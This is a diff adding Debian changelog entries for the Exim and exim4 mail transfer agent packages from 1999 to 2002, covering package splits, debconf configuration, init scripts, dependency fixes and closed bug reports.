+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 17 Oct 2002 23:52:31 +0200
+
+exim4 (4.10-0.srh20.1) unstable; urgency=low
+
+ * rename package, replace dependencies.
+ - src: exim4
+ - binary exim(-something) --> exim4-something
+ - Remove Provides: exim - does not make sense anymore, dselect/apt
+ would take the real exim instead of the provided one.
+ - Revamp Dependencies and contents
+ * exim4-base provides/confl/repl: mta and depends on one of *our*
+ flavours
+ * each of the flavours only contains only /usr/sbin/exim4 and a manpagelink
+ exim4--->exim - there is no need to provides/confl/repl: mta, because
+ we ship no common file with the same name as in the original
+ exim4-package
+ - drop alternatives.
+ - install configuration example to /usr/share/doc/exim4-doc/examples
+
+ -- Andreas Metzler <ametzler@downhill.at.eu.org> Thu, 17 Oct 2002 17:58:08 +0200
+
+exim (4.10-0.srh20) unstable; urgency=low
+
+ * exim-base.config fixes during testing-- need to run debconf subs in a
+ list context to get their numeric return code.
+ * enqueue_question(): $code == 0 is ok too
+ * main: call fetch_default() not find_default() [when did I last test this?]
+ * install debconf_eximconfig (!!!!!!)
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 21:50:27 +0100
+
+exim (4.10-0.srh19) unstable; urgency=low
+
+ * Move the eximon binary into the eximon package!
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 19:36:48 +0100
+
+exim (4.10-0.srh18) unstable; urgency=low
+
+ * The clean: target now deletes doc/tmp
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 18:10:29 +0100
+
+exim (4.10-0.srh17) unstable; urgency=low
+
+ * Slave alternatives for "rmail" too.
+ * Changed libxaw-dev in build-depends to libxaw7-dev | libxaw-dev
+ * Added libperl-dev and m4 to build-depends
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 17:19:40 +0100
+
+exim (4.10-0.srh16) unstable; urgency=low
+
+ * Put --exec $DAEMON back on the start-stop-daemon --stop calls, since
+ start-stop-daemon complains about the process not being found after it
+ just killed it. (Due to Exim not removing its own pid file?)
+ * Point slave alternatives at .gz versions of manpages
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 16:12:08 +0100
+
+exim (4.10-0.srh15) unstable; urgency=low
+
+ * Fix "update-alternatives --remove" invocation.
+ * Remove alternatives AFTER stopping daemon.
+ * Use logrotate to cycle logs.
+ * Manually install logrotate/cron stuff, to call it "exim" instead of "exim-base".
+ * Install upstream exim.8 manpage, and slave alternatives.
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 15:44:56 +0100
+
+exim (4.10-0.srh14) unstable; urgency=low
+
+ * dh_installinit: pass --noscripts, put the script invocation etc. in
+ ourselves. This is still pretty nasty, but ensures that the deamons
+ are stopped/started themselves, not by exim-base.
+ * Also, pass --init-script=exim to use /etc/init.d/exim, not
+ /etc/init.d/exim-base.
+ * Fix some inconsistencies in the postsinst related to the above that
+ made lintian scream
+ * Remove the --exec option when stopping the daemon in the init script,
+ so that we still stop the daemon if the symlink changed to point to a
+ different version (hacky).
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 14:51:19 +0100
+
+exim (4.10-0.srh13) unstable; urgency=low
+
+ * Bah, fix paths of mailq etc. to be in /usr/bin, not /usr/lib
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 14:08:45 +0100
+
+exim (4.10-0.srh12) unstable; urgency=low
+
+ * The postinsts were totally broken, doing everything off the "install"
+ target, and nothing off "configure". Since they're all pracitcally the
+ same, they are now generated from daemon-postinst.m4.
+ * Fix invocations of dpkg-statoverride (sysuser??)
+ * Added slave alternatives for mailq, sendmail etc.
+ * Removed daemon packages conflicting with mail-transport-agent,
+ although this isn't good-- the deamon packages don't conflict with
+ each other (they use alternatives to arrange themselves), but do
+ conflict with other MTAs that install
+ /usr/lib/sendmail|/usr/sbin/sendmail links. Urnf.
+ * Similar generation system for prerms as postinsts
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 13:47:53 +0100
+
+exim (4.10-0.srh11) unstable; urgency=low
+
+ * Urnf, nasty circular dependencies. Removed exim-base's dependency on exim-daemon.
+ * Fix "use strict" errors in exim-base.config (oops)
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 13:10:25 +0100
+
+exim (4.10-0.srh10) unstable; urgency=low
+
+ * Patch src/expand.c with HMAC support
+ * Rename exim-daemon-default package to just "exim", so upgrading works
+ better, and exim isn't made into a pure virtual package while other
+ packages depend on it. Moreover, mail-transport-agent is provided by
+ each of the daemon packages, not exim-base, since having exim-base
+ alone is not sufficient to have an MTA.
+ * Each exim daemon package depends on exim-base, not exim.
+
+ -- Steve Haslam <araqnid@debian.org> Wed, 16 Oct 2002 12:52:19 +0100
+
+exim (4.10-0.1) unstable; urgency=low
+
+ * Heavy changes to build system.
+ * Split package into:
+ - exim-base: This package contains all utility programs and
+ documentation in plain text format.
+ - exim-daemon-$FOO: (Currently for FOO in light, default, heavy,
+ perl): Conain only the exim daemon in different configurations
+ - exim-doc-info: Contains exim documentation in Info format.
+ - eximon: The X11 monitor for Exim
+
+ -- Hilko Bengen <bengen@toplink-plannet.de> Wed, 2 Oct 2002 17:23:04 +0200
+
+exim (4.10-0.srh4) unstable; urgency=low
+
+ * exim.c: Show the OpenSSL version number if TLS compiled in and the tls
+ debug selector enabled.
+ * exim.postinst et al: Keep the alternatives configured between upgrades
+ (naughty) since exim-light will fail to start if exim-heavy keywords
+ are in the config file
+
+ -- Steve Haslam <araqnid@debian.org> Fri, 13 Sep 2002 16:08:47 +0100
+
+exim (4.10-0.srh3) unstable; urgency=low
+
+ * tls.c: Some debug output changes to verify_callback()
+ * debconf_eximconfig: add more escaping when writing acl_check_rcpt
+ * tls.c and others: ${tls_peercn} now expands to the CN part of the
+ peer's certificate subject when using TLS.
+ * transports/smtp.c and others: Added tls_verify_hostname option to
+ verify the hostname we connected to against the CN/subjectAltName
+ of the peer certificate.
+
+ -- Steve Haslam <araqnid@debian.org> Fri, 13 Sep 2002 15:44:07 +0100
+
+exim (4.10-0.srh2) unstable; urgency=low
+
+ * exim-heavy.postinst: had duplicate sendmail alternative, removed. Had
+ a priority the same as exim-light too... increased.
+ * Replace LOOKUP_CDB=yes in exim-light configuration, since it was in
+ the Exim 3 package and doesn't bring in any dependencies.
+ * exim.postinst: delete files from /var/spool/exim/db if they cannot be
+ read by exim_dumpdb (some DB compatibility lossage)
+
+ -- Steve Haslam <araqnid@debian.org> Tue, 3 Sep 2002 13:28:44 +0100
+
+exim (4.10-0.srh1) unstable; urgency=low
+
+ * My stab at an Exim 4 package. Features include:
+ * An exim-heavy package that contains an Exim binary with LDAP,
+ MySQL, PostgreSQL etc. in, so that the main Exim package's
+ dependencies are kept thin but users can easily get hold of
+ the extra lookup types.
+ * Debconf-based configuration, although it has priority=high
+ questions, so not completely noninteractive yet, and not
+ all features of eximconfig have been ported/checked
+ * Automated conversion of Exim 3 configuration files
+ (using PH's convert4r4)
+
+ -- Steve Haslam <araqnid@debian.org> Tue, 3 Sep 2002 10:20:24 +0100
+
+exim (3.35-1.srh1) unstable; urgency=low
+
+ * Reconfigured to include MySQL and PostgreSQL lookups
+
+ -- Steve Haslam <araqnid@debian.org> Fri, 9 Aug 2002 15:52:37 +0100
+
+exim (3.35-1) unstable; urgency=low
+
+ * New upstream version, fixes buffer overflow (Closes: #135069)
+ * debian/config: Added receiver_try_verify (Closes: #136276)
+ * debian/init.d: Use --retry 30 option for start-stop-daemon when
+ stopping exim (Closes: #136450)
+ * debian/postinst: "noninteractive" in correct case (Closes: #134379)
+ * debian/init.d: Use -n option for echo (from patch in #133288)
+ * debian/exim_lock.8: Manpage for exim_lock - thanks Nick Philips
+ (Closes: #131679)
+ * debian/config: Fixed comment on smtp_accept_queue_per_connection
+ (Closes: #136756)
+ * debian/exim.8,debian/eximon.8: Fixed hyphenation (Closes: #132068)
+ * debian/control: Short description improved (Closes: #130698)
+
+ -- Mark Baker <mark@mnb.org.uk> Mon, 4 Mar 2002 23:04:52 +0000
diff --git a/debian/changelog.Debian.old b/debian/changelog.Debian.old
new file mode 100644
index 0000000..2b9640b
--- /dev/null
+++ b/debian/changelog.Debian.old
@@ -0,0 +1,1128 @@
+exim (3.34-1) unstable; urgency=low
+
+ * New upstream version
+ * Applied patch so that it isn't an open relay when used from inetd with
+ exim_user = root (but that still doesn't mean you should set this!)
+ (Closes: #126124)
+ * debian/editme-diff: Include lmtp support (Closes: #128052)
+ * debian/postinst: Only run update-inetd if it exists
+ * debian/control: The above means it only recommends rather than depends
+ on netbase (Closes: #118244)
+ * debian/config: Various changes to procmail-pipe transport in
+ eximconfig output (Closes: #117923, #120614, #129338)
+ * debian/config: Added comment mentioning rfcignorant.org to eximconfig
+ output (Closes: #128414)
+ * debian/email-addresses: Corrected typo (Closes: #123082)
+ * debian/init.d: List restart option in usage output (Closes: #122939)
+ * debian/config: Include rfc2142 addresses (such as abuse@) in generated
+ aliases file (Closes: #128411)
+
+ -- Mark Baker <mark@mnb.org.uk> Sat, 19 Jan 2002 17:44:56 +0000
+
+exim (3.33-1) unstable; urgency=low
+
+ * New upstream version
+ * debian/control: include package priorities
+ * debian/copyright: fix spelling of common-licenses (I had spelt it the
+ British way, as licences, which of course isn't what the directory is
+ called) (Closes: #112086)
+ * src/exim.c: upstream patch to fix minor local security hole (Closes:
+ #117835)
+ * debian/postrm: fix test for empty spool directory (Closes: #108956,
+ #116018)
+ * debian/postrm: check update-inetd exists before calling (Closes: #121365)
+
+ -- Mark Baker <mark@mnb.org.uk> Wed, 28 Nov 2001 22:07:14 +0000
+
+exim (3.32-2) unstable; urgency=low
+
+ * Applied upstream patch to fix IPv6 related problems (Closes: #108285,
+ #108309)
+ * debian/cron.daily: exit if exim binary doesn't exist (Closes: #108389)
+ * debian/init.d: check that inetd.conf exists before grepping it for
+ exim (Closes: #108147)
+ * debian/exim.8: update description of -bp option (Closes: #107222)
+
+ -- Mark Baker <mark@mnb.org.uk> Wed, 15 Aug 2001 00:00:36 +0100
+
+exim (3.32-1) unstable; urgency=low
+
+ * New upstream version (bug fixes)
+ * debian/preinst: create /etc/exim before moving exim.conf (Closes:
+ #106659, #107657)
+ * debian/preinst: only do nasty stuff to crontab if upgrading from a
+ version prior to 1.82-3, as that was the first one to use cron in the
+ way we do now.
+
+ -- Mark Baker <mark@mnb.org.uk> Wed, 8 Aug 2001 23:34:04 +0100
+
+exim (3.31-1) unstable; urgency=low
+
+ * New upstream version
+ * debian/postrm: prompt before deleting spool directory if it's not
+ empty (Closes: #101186)
+ * debian/config: remove RBL questions (as ORBS no longer exists, and
+ MAPS now charges); include a comment about RBL instead (Closes: #104524)
+ * debian/rules: no longer have separate diff for hurd, as hurd now
+ supports PAM and LDAP
+ * OS/os.h-GNU, OS/Makefile-GNU: various other hurd changes (Closes: #101409)
+ * debian/postinst: don't run eximconfig if doing a non-interactive
+ install (Closes: #98764)
+ * debian/postinst, debian/preinst: move config file to new location in
+ preinst, not postinst (Closes: #101796)
+ * debian/config: don't use group mail on procmail transport (Closes: #99075)
+ * debian/init.d: use --pidfile option of start-stop-daemon (Closes:
+ #97526, #74803, #62297)
+ * debian/postinst: only grep exim.conf if it exists (Closes: #95031)
+ * src/globals.c: upstream patch to header names
+ * debian/postinst: only grep /etc/aliases if it exists (Closes: #94085)
+ * debian/cron.daily: tidy wait-remote_smtp as well as retry database
+
+ -- Mark Baker <mark@mnb.org.uk> Thu, 19 Jul 2001 00:32:14 +0100
+
+exim (3.22-4) unstable; urgency=low
+
+ * debian/crontab: fix comment so it agrees (Closes: #92654)
+ * debian/rules: don't use {a,b} syntax, which isn't in posix sh (Closes:
+ #92456)
+ * debian/config: RBL is now at blackholes.mail-abuse.org
+
+ -- Mark Baker <mark@mnb.org.uk> Tue, 10 Apr 2001 00:16:30 +0100
+
+exim (3.22-3) unstable; urgency=low
+
+ * src/eximon.src: don't want & on end of exec command (Closes: #53784)
+ * debian/*.8: updated references to docs to /usr/share/doc, and updated
+ my email address.
+ * debian/exicyclog.8: exicyclog is in /usr/sbin, not /opt/exim/bin
+ (Closes: #86642)
+ * debian/control: build-dependencies updated for current X packages
+ (Closes: #88565)
+ * debian/config: generated config uses s (sender) flag on rewrite rules
+ (Closes: #90839)
+ * debian/config: generated config doesn't use b or c (bcc and cc) flags
+ on rewrite rules
+ * debian/crontab: run every 15 minutes
+ * debian/crontab: don't ignore error output (exim should only output
+ anything on errors, so we don't want to redirect anything to /dev/null
+ (Closes: #88334)
+ * debian/config: generated config refers to 127.0.0.1 and ::1, and not
+ to localhost; which caused problems for some people when it tried to
+ look up the ipv6 address for it (Closes: #88629, #76074)
+ * debian/control: priority important
+ * debian/postinst, debian/prerm: don't call suidregister or chmod
+ * debian/control: conflict with suidmanager <<0.50
+
+ -- Mark Baker <mark@mnb.org.uk> Fri, 30 Mar 2001 00:29:30 +0100
+
+exim (3.22-2) unstable; urgency=low
+
+ * debian/crontab: check existence of config file in /etc/exim/exim.conf
+ rather than /etc/exim.conf (Closes: #85745)
+ * debian/postinst, debian/postrm: more places I'd forgotten to fix after
+ moving exim.conf
+ * src/exim_tidydb.c: write "too old" message to stdout, not stderr
+ (Closes: #81727)
+
+ -- Mark Baker <mark@mnb.org.uk> Mon, 12 Feb 2001 23:30:17 +0000
+
+exim (3.22-1) unstable; urgency=low
+
+ * New upstream version
+ * debian/cron.daily: only run exim_tidydb if it exists and is
+ executable (Closes: #83017)
+ * debian/email-addresses: include comment indicating that it is part of
+ the exim package (Closes: #82462)
+
+ -- Mark Baker <mark@mnb.org.uk> Wed, 24 Jan 2001 00:13:35 +0000
+
+exim (3.20-2) unstable; urgency=low
+
+ * debian/rules: allow for a locally modified makefile diff to be used
+ instead of the standard one (patch by Karl Hegbloom) (Closes: #79275)
+ * Put config file in an /etc/exim directory, as many people want to
+ create other files for configuring their exim setup (Closes: #76318)
+ . debian/rules: create /etc/exim directory
+ . debian/config: write config file in $exim/exim/exim.conf
+ . debian/editme-diff.linux: configure exim to read config from this
+ directory.
+ . debian/editme-diff.gnu: as editme-diff.linux
+ . debian/postinst: move config file from existing installations when
+ upgrading.
+ * debian/config: default config includes (commented out) how to do
+ client side SMTP AUTH (Closes: #79173)
+ * debian/cron.daily: only cycle non-empty log files (Closes: #74996)
+ * debian/control: build depends should be on libdb2-dev, not libdb2
+ (Closes: #79290)
+
+ -- Mark Baker <mark@mnb.org.uk> Mon, 11 Dec 2000 22:16:43 +0000
+
+exim (3.20-1) unstable; urgency=low
+
+ * New upstream release.
+ * debian/config: swapped procmail and .forward directors in default
+ config (Closes: #63588)
+ * debian/config: include "end" after rewrite section (Closes: #77865)
+ * debian/config: document /etc/email-addresses in eximconfig output
+ * debian/README: document /etc/email-addresses (Closes: #77937)
+
+ -- Mark Baker <mark@mnb.org.uk> Sun, 3 Dec 2000 23:51:58 +0000
+
+exim (3.16-7) unstable; urgency=high
+
+ * debian/postinst: use -f option when deleting old hints databases
+ (Closes: #75451)
+ * src/exim.c: Change to real priveliges before expansion testing
+
+ -- Mark Baker <mark@mnb.org.uk> Thu, 26 Oct 2000 00:15:24 +0100
+
+exim (3.16-6) unstable; urgency=low
+
+ * debian/mails: added announcement of windows executable filter
+ * applied patch so -bP cannot be used to get information from a config
+ file that the user does not have read permission for. Thanks to
+ Wichert Akkerman and Harald Hoyer for the patch (Closes: #67585)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 22 Oct 2000 01:14:18 +0100
+
+exim (3.16-5) unstable; urgency=low
+
+ * debian/config: path option must go after driver (Closes: #72985, #74503)
+ * debian/cron.daily: redirect output of exim_tidydb to /dev/null
+ (Closes: #74474)
+ * src/exim_tidydb.c: actual errors go to stderr so they aren't affected
+ by redirect mentioned above
+ * src/readconf.c: allow config to be group writable (Closes: #74082)
+ * debian/config: depends on netbase (for update-inetd) (Closes: #73060)
+ * debian/postinst: delete hints databases; if the configuration appears
+ to refer to any other db files, warn them that they will have to
+ rebuild them. This is because we are now (since 3.16-3.1) using libdb2
+ (Closes: #75020, #73055, #73048)
+ * debian/config: default config file adds return path header to local
+ deliveries (Closes: #75046)
+ * debian/config: include (commented out) examples of how to set up
+ the server side of an authenticated link
+ * debian/config: default config file allow authenticated hosts to relay
+
+ -- Mark Baker <mbaker@iee.org> Thu, 19 Oct 2000 00:21:44 +0100
+
+exim (3.16-4) unstable; urgency=low
+
+ * Ben's NMU fixed bugs about new libc/libdb (Closes: #72588, #72587)
+ * debian/postinst: set /usr/sbin/exim to be suid root if suidmanager
+ isn't installed. (Closes: #72796, #72741, #72684, #72673, #72671,
+ #72871, #70597)
+ * debian/control: Added build-depends on xlib6-g (used for eximon)
+ (Closes: #72088, #70918)
+ * OS/Makefile-GNU: Use -lcrypt (partially fixes #71705)
+ * debian/eximstats.8: Synopsis includes log file names (Closes: #72644)
+ * debian/config: Include commented out how to restrict to local
+ interface only (Closes: #66510)
+ * debian/config: Set path on address_path transport to include /usr/bin
+ (Closes: #65521)
+ * debian/cron.daily: Run exim_tidydb to clean retry database (Closes:
+ #57543)
+ * debian/postinst: Install /var/log/exim directory as setgid adm
+ (Closes: #35719, #11918)
+ * debian/config: Use check_local_user in forwardfile director, so that
+ correct user and group are used when running pipe entries in forward
+ file (Closes: #72645)
+ * debian/config: Include empty authenticators section
+ * debian/editme-diff.gnu: New file for GNU hurd; old file renamed to
+ editme-diff.linux
+ * debian/rules: Use appropriate editme-diff for OS. This is necessary
+ because currently the hurd doesn't support ldap or pam (Closes: #71705)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 30 Sep 2000 18:43:41 +0100
+
+exim (3.16-3.1) unstable; urgency=low
+
+ * NMU for libdb2/glibc/ldap updates
+ * Build using new libldap2-dev
+ * Change Build-Depends accordingly
+
+ -- Ben Collins <bcollins@debian.org> Wed, 27 Sep 2000 13:11:51 -0400
+
+exim (3.16-3) unstable; urgency=low
+
+ * debian/config: need to escape another ' character (Closes: #70039,
+ #70760, #70722, #70575)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 2 Sep 2000 16:43:40 +0100
+
+exim (3.16-2) unstable; urgency=low
+
+ * debian/config: need to escape ' character (Closes: #70039)
+ * debian/control: added libident-dev and libwrap0-dev to build
+ dependencies (Closes: #70405)
+ * debian/rules: use -p option when creating Local directory, so it
+ doesn't fail if called repeatedly (Closes: #70519)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 29 Aug 2000 21:14:31 +0100
+
+exim (3.16-1) unstable; urgency=low
+
+ * New upstream version (Closes: #66053)
+ * Applied interface discovery patch by Jason Gunthorpe (Closes: #68748)
+ * Applied IPv6 interface discovery patch also by Jason (Closes: #64531)
+ * debian/exim.8: Removed superfluous hyphen (Closes: #69384)
+ * debian/config: Changed /usr/doc/exim to /usr/share/doc/exim in a
+ couple of places (Closes: #69013)
+ * debian/init.d: Don't disable inetd.conf entry when starting MTA - if
+ it wasn't disabled already we wouldn't have got that far, so it's
+ unnecessary and confusing for anyone reading the script (Closes: #69048)
+ * debian/config: add accept_8bitmime, commented out, with a comment
+ explaining why it is probably a bad idea for it to be set
+ * debian/control: add Build-depends: line
+ * linked with libpcre3
+ * debian/editme-diff: include PAM support (Closes: #66398)
+
+ -- Mark Baker <mbaker@iee.org> Fri, 25 Aug 2000 00:14:35 +0100
+
+exim (3.12-10) frozen unstable; urgency=low
+
+ * debian/config: include headers_check_syntax in generated configuration
+ file, commented out (Closes: #63238)
+ * debian/config: don't include system hostname in list of local domains
+ for satellite system (Closes: #61048)
+ * src/host.c: look up an A record if attempt to look up AAAA record
+ returns TRY_AGAIN, so it works with bind 4 nameservers. This was fixed
+ upstream in 3.13, I have taken a patch from there (Closes: #62755)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 30 Apr 2000 01:05:09 +0100
+
+exim (3.12-9) unstable; urgency=low
+
+ * debian/config: test whether /etc/exim.conf can be written replaced by
+ test for $etc/exim.conf, allowing me to test this in another directory
+ while not root
+ * debian/config: don't include "root:root" in generated alias file
+ (Closes: #61498)
+ * debian/postinst: remove "root:root" from aliases file that older exim
+ versions generated (Thanks Kim Oldfield for patch)
+ * debian/mails: added mail from Thomas Schoepf about how he solved a
+ problem he had on a dialup system (Closes: #61331)
+ * debian/README.debian: Update: the instructions on how to run as a
+ daemon needed changing and exim is now built with include LDAP and
+ IPv6 (Closes: #62220)
+ * debian/rules: renamed readme file to debian/README.Debian with upper
+ case D.
+
+ -- Mark Baker <mbaker@iee.org> Thu, 13 Apr 2000 00:11:09 +0100
+
+exim (3.12-8) unstable; urgency=low
+
+ * debian/postinst: fixed typo in warning message: script is called
+ /etc/init.d/exim, not /etc/init.d/conf (Closes: #61118)
+ * debian/postinst: wrap warning mesage at 80 columns (also #61118)
+ * debian/postinst: version of exim in test should be 3.03-2, not 3.99-2
+ which was used for testing purposes (Closes: #61068)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 26 Mar 2000 23:23:48 +0100
+
+exim (3.12-7) frozen unstable; urgency=low
+
+ * debian/config: fixed typo in relay_domains question text (Closes: #60392)
+ * debian/config: indicate default with capital in final question
+ (Closes: #59722)
+ * debian/config: don't check relay_domains, as the check excluded
+ wildcards. (Closes: #59720)
+ * debian/config: add alias entry for nobody (Closes: #59712)
+ * debian/config: don't create aliases.new.O (Closes: #60572)
+ * debian/postinst: warn when upgrading from old versions that don't ever
+ run daemon from default startup script, if exim is not run from
+ inetd.conf (Closes: #60567)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 21 Mar 2000 23:57:00 +0000
+
+exim (3.12-6) frozen unstable; urgency=low
+
+ * debian/postinst: don't run /etc/init.d/exim if exim.conf doesn't exist.
+ It didn't matter, it just gave an error message that it shouldn't have.
+ * Remember to upload to frozen this time :)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 29 Feb 2000 23:46:30 +0000
+
+exim (3.12-5) unstable; urgency=low
+
+ * src/transport.c: upstream patch so transport filters work with
+ outgoing SMTP (Closes: #57835)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 13 Feb 2000 17:12:28 +0000
+
+exim (3.12-4) frozen unstable; urgency=low
+
+ * debian/config: procmail_pipe transport has right options so from hack
+ works on current version of exim (previously mail delivered by
+ procmail was being horriblyl mangled) (Closes: #56865,#56208)
+ * debian/cron.daily: include hostname in subject line of eximstats reports.
+ * debian/copyright: new upstream ftp location
+
+ -- Mark Baker <mbaker@iee.org> Sat, 5 Feb 2000 22:00:49 +0000
+
+exim (3.12-3) unstable; urgency=low
+
+ * debian/rules: create Local directory in build target (and delete it
+ in clean target (Closes: #56788)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 1 Feb 2000 20:45:03 +0000
+
+exim (3.12-2) unstable; urgency=low
+
+ * src/smtp_out.c: failure to create a socket should not be a fatal
+ error; this was causing problems for people without IPv6 in their
+ kernel trying to send mail to sites with IPv6 addresses in the
+ DNS. (Closes: #50628)
+ * debian/rules,debian/editme-diffs(new file): create Local/Makefile at
+ build time by applying a diff to EDITME, rather than having a
+ pre-edited copy included in the debian source. As well as making the
+ debian diff rather smaller this means that upstream changes to the
+ EDITME file won't be ignored (Closes: #55112)
+ * As a result of the above, exigrep of compressed files should work
+ properly (Closes: #54776)
+ * debian/rules: delete most of util/* in clean target
+
+ -- Mark Baker <mbaker@iee.org> Wed, 26 Jan 2000 23:28:56 +0000
+
+exim (3.12-1) unstable; urgency=low
+
+ * New upstream version (bug fixes)
+ * debian/config: procmail director does file existence check as relevant
+ user rather than as exim
+ * debian/config: procmail director fails, rather than freezing message, if
+ home directory can't be read (Closes: #54351,#53326,#53325,#53229)
+ * debian/rules, debian/conffiles, debian/email-addresses (new file): add
+ /etc/email-addresses as a conf-file (Closes: #54124)
+
+ -- Mark Baker <mbaker@iee.org> Sun, 9 Jan 2000 17:45:31 +0000
+
+exim (3.11-2) unstable; urgency=low
+
+ * OS/Makefile-Base: comment out code to check whether makefile needs
+ updating; it didn't seem to work properly on some systems. I don't
+ know why. This is a nasty hack but it works (Closes: #50435)
+ * debian/control: description doesn't start with package name
+ * debian/control: "X" rather than "X-windows"
+
+ -- Mark Baker <mbaker@iee.org> Sun, 19 Dec 1999 11:01:00 +0000
+
+exim (3.11-1) unstable; urgency=low
+
+ * New upstream version (Closes: #51744)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 8 Dec 1999 00:02:59 +0000
+
+exim (3.03-6) unstable; urgency=low
+
+ * debian/config: check that /etc/exim.conf was writable didn't do the
+ right thing when file didn't exist (Closes: #51498,#51789)
+ * debian/config: uncomment second line of rewrite configuration (Closes:
+ #51496,#52111,#52148,)
+ * debian/rules: clean target deletes Local/Makefile-Linux (Closes: #50435)
+ * doc/spec.txt: example cyrus configuration refers to debian location of
+ binary
+
+ -- Mark Baker <mbaker@iee.org> Tue, 7 Dec 1999 22:24:04 +0000
+
+exim (3.03-5) unstable; urgency=low
+
+ * Local/Makefile: don't link with libwrap any more; it causes too many
+ problems for people upgrading (#50250)
+ * debian/config: don't include userforward or procmail directors in
+ satellite configuration (#40570)
+ * debian/crontab: only run queue if /etc/exim.conf exists (#43419)
+ * debian/rules, debian/ipv6.sh, OS/Makefile-Default: Fix so IPv6 support
+ is only included if available, so exim will build on m68k (#50435)
+ * debian/config: exit if not run as root (#50543)
+ * debian/config: don't comment out the example rewrite rule: it is
+ sufficiently widely used, at least for dialups, that it should be in
+ by default (#49202)
+
+ -- Mark Baker <mbaker@iee.org> Sat, 27 Nov 1999 19:11:33 +0000
+
+exim (3.03-4) unstable; urgency=low
+
+ * debian/control: put quotes around $etc/exim.conf (#50071)
+ * Create symlinks in /usr/doc from postinst, not rules (#50072)
+ . debian/postinst: create symlink in /usr/doc if required
+ . debian/postinst-eximon (new file): create symlink in /usr/doc if required
+ . debian/prerm: delete symlink in /usr/doc
+ . debian/prerm-eximon (new file): delete symlink in /usr/doc
+ . debian/rules: don't create symlinks in /usr/doc
+ . debian/rules: install {postinst,prerm}-eximon
+ * debian/rules: install man pages in /usr/share/man as required by
+ policy 3.1.0
+ * debian/copyright: refer to GPL in new location
+ /usr/share/common-licences/GPL instead of /usr/doc/copyright/GPL
+
+ -- Mark Baker <mbaker@iee.org> Sat, 13 Nov 1999 16:52:59 +0000
+
+exim (3.03-3) unstable; urgency=low
+
+ * debian/rules: install docs in /usr/share/doc/exim with symlink from
+ /usr/doc/exim, as required by policy 3.1.0
+ * debian/control: policy version upgraded to 3.1.0
+ * debian/config: if exim.conf already exists, warn that continuing with
+ eximconfig will trash it (#49201)
+ * debian/*: updated Tim Cutts' email address
+
+ -- Mark Baker <mbaker@iee.org> Thu, 11 Nov 1999 21:07:56 +0000
+
+exim (3.03-2) unstable; urgency=low
+
+ * debian/config: don't shift things off @names, as that was removing
+ localhost (#48102)
+ * exim_monitor/em_main.c: fix bindings for popup menu so they work with
+ all combinations of modifiers, working round Xt misfeature. Thanks
+ Kevin Ryde for patch (#20485)
+ * debian/config: fixed typo (FRC instead of RFC)
+ * debian/README.debian: extra backslashes in sample filter (#46462)
+ * debian/crontab: only run every 30 mins instead of every 15; this is
+ the same frequency as we ask a daemon to do a queue run and it makes
+ sense for them to be the same
+ * debian/config: generated configuration will call procmail if it is
+ installed and if users have .procmailrc files
+ * debian/init.d: start exim daemon if no smtp entry in inetd.conf
+ * OS/Makefile-Default: define HAVE_IPV6. The attempt to auto-detect it
+ was a failure (it detected it correctly, but the config.h builder
+ doesn't understand anything so fancy in the makefile)
+ * Local/Makefile: include LDAP support
+ * Local/Makefile: link with libwrap
+
+ -- Mark Baker <mbaker@iee.org> Thu, 4 Nov 1999 21:22:20 +0000
+
+exim (3.03-1) unstable; urgency=low
+
+ * new upstream version
+ * src/exim.h: include <pcre.h> rather than "pcre/pcre.h"
+ * OS/Makefile.Base: don't build pcre (it's not used anyway)
+ * debian/postinst: don't do upgrade from pre-3.0 stuff if /etc/exim.conf
+ doesn't exist (#42305)
+ * debian/eximconfig.8: mention -i option (#41786)
+
+ -- Mark Baker <mbaker@iee.org> Wed, 4 Aug 1999 22:24:57 +0100
+
+exim (3.02-5) unstable; urgency=low
+
+ * OS/Makefile-Linux, OS/Makefile-Default: applied patch from Roman Hodek
+ so it will compile on m68k which doesn't yet have glibc2.1 (#41365)
+ * debian/config: applied patch from Andrew Pimlott so system users with
+ a hyphen in the login name (only www-data normally) get added to
+ aliases file (#41235)
+ * debian/config: typo (exim-doc package name without hyphen) (#41071)
+ * debian/exim.8: updated command line options in manpage (#41082)
+
+ -- Mark Baker <mbaker@iee.org> Mon, 19 Jul 1999 23:26:34 +0100
+
+exim (3.02-4) unstable; urgency=low
+
+ * src/daemon.c: patch in previous release only did half the job; I now
+ have a patch from the upstream author instead.
+
+ -- Mark Baker <mbaker@iee.org> Wed, 7 Jul 1999 22:35:44 +0100
+
+exim (3.02-3) unstable; urgency=low
+
+ * src/daemon.c: if attempt to open AF_INET6 fails, try again as AF_INET; this
+ will hopefully make it work for people without IPv6 in their kernels
+ (#40248)
+ * src/host.c: apply upstream patch so ::ffff:w.x.y.z style IPv4 compatibility
+ addresses will reverse lookup correctly
+
+ -- Mark Baker <mbaker@iee.org> Wed, 30 Jun 1999 23:28:35 +0100
+
+exim (3.02-2) unstable; urgency=low
+
+ * debian/config: fix received headers (#40185,#40210,#40216)
+
+ -- Mark Baker <mbaker@iee.org> Tue, 29 Jun 1999 00:58:15 +0100
+
+exim (3.02-1) unstable; urgency=low
+
+ * New upstream release (bug fixes)
+ * Applied patch for GNU/Hurd support (#39262)
+ * debian/config: include "localhost" as a local domain by default. I do
+ this reluctantly, so fetchmail will work out the box.
+ * debian/config: include "for <x@y>" in received headers (#39344)
